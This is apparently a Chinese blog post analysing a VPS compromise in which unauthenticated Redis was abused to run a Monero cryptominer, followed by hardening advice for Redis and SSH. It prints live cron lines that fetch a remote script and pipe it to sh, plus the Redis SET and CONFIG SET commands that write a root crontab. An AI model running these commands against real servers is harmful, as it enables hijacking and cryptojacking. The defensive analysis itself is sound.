文/溫國兵
html
這是「區塊鏈技術指北」的第 28 篇文章。python
若是對我感興趣,想和我交流,個人微信號:Wentasy,加我時簡單介紹下本身,並註明來自「區塊鏈技術指北」。同時我會把你拉入微信羣「區塊鏈技術指北」。BTW,李笑來老師也加入了個人知識星球,文末有加入方式。mysql
某日,筆者收到 VPS 服務器 CPU 告警,上服務器一看,有個叫作 gpg-agentd 的進程佔用大量的 CPU 資源。接着就是常規的排查,IO 狀況、網絡流量、內存狀況、系統日誌、crontab 等。當排查到 crontab 時,發現 crontab 有以下的任務:linux
*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh
*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh
複製代碼
該服務器提供 Redis 資源供筆者測試使用,明顯上面兩個定時任務不是筆者建立的。定時任務訪問外網服務器,緊急處理有三點,一是確認其餘服務是否受到影響,二是註釋定時任務,三是臨時斷外網,處理完以後,再來排查緣由。git
題圖來自: © kisspng.com / Anonymous Guy Fawkes mask Gunpowder Plot / kisspng.comgithub
筆者把該 Shell 腳本下載到本地,而後進行分析。該腳本包含如下函數:redis
咱們 逐個分析。IKILLYOU 函數會 kill 掉 ssuspsplk 和 gpg-agentd 進程。CRON 函數會將文首的兩個 crontab 寫入到 /tmp/.bla.cron 文件,接着清空用戶的 crontab,而後將 /tmp/.bla.cron 文件載入到 crontab。FIRE 函數刪除掉 6379 端口相關的防火牆,容許本地鏈接,同時將防火牆配置持久化。INFO 函數用於收集主機信息,包含當前服務器進程、服務器硬件屬性、系統內核版本、Linux 發行版本、Linux 發行的詳細版本、Linux 標準規範信息、crondb 文件幫助信息(下文還會詳細說明這個文件的做用),最後將以上信息上傳到 84.73.251.157 指定目錄。sql
接下來咱們看下 DOWNLOAD 函數。該函數從 84.73.251.157 下載 crondb
和 c.j
文件,放到本地的 /tmp 目錄。接下來執行關鍵的一步,/tmp/crondb -c /tmp/c.j -B。vim
咱們將 crondb 文件和 c.j 放到本地,對這個兩個文件進行分析。api
上文提到 INFO 函數將獲取 crondb 文件幫助信息。咱們來執行下 INFO 函數的語句。
./crondb --help
Usage: xmrig [OPTIONS]
Options:
-a, --algo=ALGO cryptonight (default) or cryptonight-lite
-o, --url=URL URL of mining server
-O, --userpass=U:P username:password pair for mining server
-u, --user=USERNAME username for mining server
-p, --pass=PASSWORD password for mining server
-t, --threads=N number of miner threads
-v, --av=N algorithm variation, 0 auto select
-k, --keepalive send keepalived for prevent timeout (need pool support)
-r, --retries=N number of times to retry before switch to backup server (default: 5)
-R, --retry-pause=N time to pause between retries (default: 5)
--cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
--cpu-priority set process priority (0 idle, 2 normal to 5 highest)
--no-huge-pages disable huge pages support
--no-color disable colored output
--donate-level=N donate level, default 5% (5 minutes in 100 minutes)
--user-agent set custom user-agent string for pool
-B, --background run the miner in the background
-c, --config=FILE load a JSON-format configuration file
-l, --log-file=FILE log all output to a file
-S, --syslog use system log for output messages
--max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)
--safe safe adjust threads and av settings for current CPU
--nicehash enable nicehash/xmrig-proxy support
--print-time=N print hashrate report every N seconds
--api-port=N port for the miner API
--api-access-token=T access token for API
--api-worker-id=ID custom worker-id for API
-h, --help display this help and exit
-V, --version output version information and exit
複製代碼
看到 Usage 這一步,再去 GitHub 項目搜索,咱們能夠得知 xmrig 是用於 Monero (XMR) CPU 挖礦的。接下來咱們看下 c.j 文件,從 /tmp/crondb -c /tmp/c.j -B 得知。-c 參數表示配置文件,-B 表示後臺運行。也就是說 c.j 是一個配置文件。咱們打開 c.j 文件,看到關鍵的 pools 配置,能夠得知 user 配置以下:
423DEFLqFZwb4gm9fMHVY8dm8KMFXhkMHg5FBwi9nXfS6P5LCd7cArbV83Cmmwi7ouBHihZS74ckNbRDyGNruQAFBnNCeNK
咱們推測這是個 Monero (XMR) 錢包。
咱們把 crondb 上傳到 virscan.org,分析得出,詳細的報告點擊 這裏,其中 ikarus 標記爲 PUA.CoinMiner,qh360 標記爲 Win32/Virus.DoS.dc1,rising 標記爲 Trojan.Linux.XMR-Miner。這也印證了這是個用於挖礦的可執行文件。
咱們接着分析。接下來就是一些毀滅性的工做:
CLEAN 函數也是一個毀滅性的函數。首先會修改 /etc/security/limits.conf 和 /etc/sysctl.conf 系統配置文件。加入以下配置:
* soft memlock 262144
* hard memlock 262144
vm.nr_hugepages = 256
複製代碼
接下來刪除 RMLIST 列表的文件,kill 掉 KILIST 列表的進程。KILIST 裏有些什麼呢?也是挖礦的錢包地址或者相關的進程。這位哥們只想本身獲利,不關心兄弟的死活,呵呵。接下來執行瘋狂的 kill,也是挖礦錢包地址或者相關的進程,不過這個列表就有點多了,在此不贅述。
咱們繼續分析。INIT 函數修改 nr_hugepages 內核配置,ITABLE 函數刪除掉 6379 端口相關的防火牆,容許本地鏈接,接下來 CRON 函數跟上文所述功能一致,在此不贅述。
最後作了腳本優化,若是發現沒有 /tmp/crondb 和 /tmp/c.j 文件,繼續下載。若是你的系統 GLIBC 版本不知足它的需求,還會幫你升級,加載到 LD_LIBRARY_PATH。接着將他本身的 key 寫入到 authorized_keys 文件,這樣它能夠免密登錄,方便後續的操做。最後再清空 /var/log/wtmp、清空 /var/log/secure、清空歷史執行命令。
因爲 Monero (XMR) 不可追溯性,讀者沒法經過錢包地址追溯交易記錄,也就是說咱們無從得知黑客從中獲益多少。
分析到這裏,咱們對挖礦過程過程比較清楚了。但問題是,服務器爲何會被黑呢?
從剛纔的分析得知,該腳本會處理 6379 端口,6379 端口是咱們熟知的 Redis 端口。Redis 做者 antirez 很早以前寫過一篇文章:A few things about Redis security,文中提到未受權訪問漏洞,具體的漏洞能夠參考這篇文章。
因爲 VPS 服務器 Redis 端口沒有添加密碼,防火牆雖然開啓,但防火牆開放權限過大,致使黑客趁機攻擊。具體操做流程是怎麼樣的呢?
第一,掃描到該 VPS IP 存在 6379 Redis 端口,嘗試無密碼登錄。
第二,依次執行以下命令。
set key1 "\n*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh\n"
set key2 "\n*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh\n"
config set dir /var/spool/cron/
config set dbfilename root
save
複製代碼
第三,Linux 服務器自動加載到 crontab,而後定時任務執行 bar.sh 腳本,服務器被動用於挖礦。
因爲 Redis 開啓了 AOF,咱們利用以下的腳本將 AOF 回溯 [1],能夠確認寫入 KEY 的鍵值對。
#!/usr/bin/env python
""" A redis appendonly file parser """
import logging
import hiredis
import sys
if len(sys.argv) != 2:
print sys.argv[0], 'aof_file'
sys.exit()
file = open(sys.argv[1])
line = file.readline()
cur_request = line
while line:
req_reader = hiredis.Reader()
req_reader.setmaxbuf(0)
req_reader.feed(cur_request)
command = req_reader.gets()
try:
if command is not False:
print command
cur_request = ''
except hiredis.ProtocolError:
print 'protocol error'
line = file.readline()
cur_request += line
file.close
複製代碼
分析到此爲止,咱們能夠從中得知,未受權漏洞是至關危險的,只要有這個口子,黑客能夠作任何事情。
黑客做案手法咱們已經清楚,那怎麼樣才能防護呢?筆者在這裏給出本身的思考。
Redis 做者在 A few things about Redis security 一文中提到,Redis 因配置不當能夠致使未受權訪問,被攻擊者惡意利用。當前流行的針對 Redis 未受權訪問的一種新型攻擊方式,在特定條件下,若是 Redis 以 root 身份運行,黑客能夠給 root 帳戶寫入 SSH 公鑰文件,直接經過 SSH 登陸受害服務器,或者寫入 crontab 定時任務,運行有危害的服務。這些攻擊可能致使服務器權限被獲取和數據刪除、泄露或加密勒索事件發生,嚴重危害業務正常服務。[2]
第一,網絡層加固,一般有以下兩種方式:
bind 127.0.0.1 192.168.0.1
複製代碼
注:Redis 從 2.8.0 版本開始,支持雙 IP 綁定。
iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT
複製代碼
第二,帳號與認證
設置訪問密碼,配置文件添加 requirepass,這個配置能夠在線修改,配置完成以後,執行 CONFIG REWRITE 持久化到配置文件。
第三,服務運行權限最小化
Redis 默認使用 root 帳號運行,但這會帶來不可控的風險。咱們但願用較低權限的用戶來運行 Redis,實現帳戶隔離,保障 Redis 服務以及主機的安全。
調整以下:
# 建立 redis 用戶組
groupadd -r redis
# 添加 redis 用戶,指定爲系統用戶,而且默認 Shell 改成 /sbin/nologin
useradd -c "Redis" -d /var/lib/redis -g redis -m -r -s /sbin/nologin redis
# 更改 Redis 主目錄的權限
chown redis:redis -R /opt/redis
# 更改 Redis 相關程序的權限
chown redis:redis /usr/local/bin/redis*
複製代碼
最後再以 Redis 用戶啓動實例。
su -s /bin/bash redis -c "/usr/local/bin/redis-server /opt/redis/$port/redis.conf"
複製代碼
第四,服務精細化受權
Redis 沒有帳戶權限系統,爲了不入侵以後服務級命令須要重命名或者屏蔽。
高危的命令以下:
咱們能夠在配置文件添加對上述命令重命名或者屏蔽。
# 屏蔽 CONFIG 命令
rename-command CONFIG ""
# 重命名 CONFIG 命令
rename-command CONFIG "XKGLx9LFl87mQQLVl0b7UI4VZJESG5iU"
複製代碼
第五,安全補丁
關注官方版本的變化以及漏洞列表,及時修補,必要時進行升級。
除了 Redis 自己,服務器方面咱們也有不少安全策略。
第一,服務器不使用默認的 22 端口。22 端口是 SSH 服務的默認端口,這也是黑客掃描服務器 ssh 服務的默認端口。修改 SSH 端口的方法以下:vim 編輯 /etc/ssh/sshd_config
,將其中的 Port 22
參數改爲你想要的端口,一般 5 位數字最好。修改完成以後,重啓 sshd 服務生效。
第二,禁止使用密碼登錄,使用 RSA 公鑰登錄。本地機器可使用 ssh-keygen -t rsa
生成公鑰和私鑰,而後將公鑰追加到服務器上的 ~/.ssh/authorized_keys 文件,注意此文件的權限是 600。SSH 配置以下:
RSAAuthentication yes # RSA認證
PubkeyAuthentication yes # 開啓公鑰驗證
AuthorizedKeysFile .ssh/authorized_keys # 驗證文件路徑
PasswordAuthentication no # 禁止密碼認證
PermitEmptyPasswords no # 禁止空密碼
複製代碼
最後重啓 sshd 服務便可生效。
第三,禁止 root 用戶登陸。線上服務器,咱們一般會以普通用戶登錄,而後再 su - root 切換到 root 用戶,這樣作的好處是,即便被攻擊了,也能有相應的保障。具體的方法是修改 /etc/ssh/sshd_config
配置文件,將 PermitRootLogin
改成 no。
第四,添加服務器監控。針對本文的案例,特別注意 CPU 告警。另外,還須要監測異常進程。
第五,開啓防火牆。有公網 IP 的服務器,防火牆策略必定要作好。一般咱們會限定 IP、限定端口,能夠是特定的 IP 或者端口,也能夠是 IP 或者端口範圍,但切記開放某個 IP 段。
第六,只從官方獲取軟件。非官方渠道的軟件頗有可能被加入其餘木馬文件。正確的作法是隻從官方下載,下載下來還要檢查下文件的 MD5 值是否和官方公佈的一致。
第七,可使用相似 fail2ban 對服務器安全進行加固。它會監控多個系統的日誌文件,並根據檢測到的任何可疑的行爲自動觸發不一樣的防護動做。
若是 VPS 服務器部署了 MySQL 等服務,這裏也有不少安全措施。好比刪除匿名帳戶、刪除 test 庫、權限最小化等。若是對 MySQL 安全感興趣的能夠參考 此文。
對於沒有 VPS 服務器的羣友,那怎麼樣作好安全呢?即便沒有 VPS 服務器,你的 PC 或者 Mac 也有可能被黑,用於挖礦。以前寫過一篇 區塊鏈資產安全攻略,讀者能夠參考下。針對本文的案例,這裏筆者提出幾點建議:
本篇文章從一塊兒服務器被黑事件提及,分析了挖礦腳本、被黑過程,以及從 Redis 、服務器、其餘服務、平常用戶等方面給出了防護方案。除了 Redis 的未受權訪問漏洞,目前主要存在未受權訪問漏洞的還有:NFS,Samba,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等,安全重於泰山,讀者千萬不要掉以輕心。
對本文涉及到的攻擊腳本感興趣的讀者,能夠去 GitHub clone 看看。repo 連接:
「區塊鏈技術指北」同名 知識星球,二維碼以下,歡迎加入。BTW,李笑來老師也加入了。
「區塊鏈技術指北」相關資訊渠道:
同時,本系列文章會在如下渠道同步更新,歡迎關注:
原創不易,讀者能夠經過以下途徑打賞,虛擬貨幣、美圓、法幣均支持。
–EOF–